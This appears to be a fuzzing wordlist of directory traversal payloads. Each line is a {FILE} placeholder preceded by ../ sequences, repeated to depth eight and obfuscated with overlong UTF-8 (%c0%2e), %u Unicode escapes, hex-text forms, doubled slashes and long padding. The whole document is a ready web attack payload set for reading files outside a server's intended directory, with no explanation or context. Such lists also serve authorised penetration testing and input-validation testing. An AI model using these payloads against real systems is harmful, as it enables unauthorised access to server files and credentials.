AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> 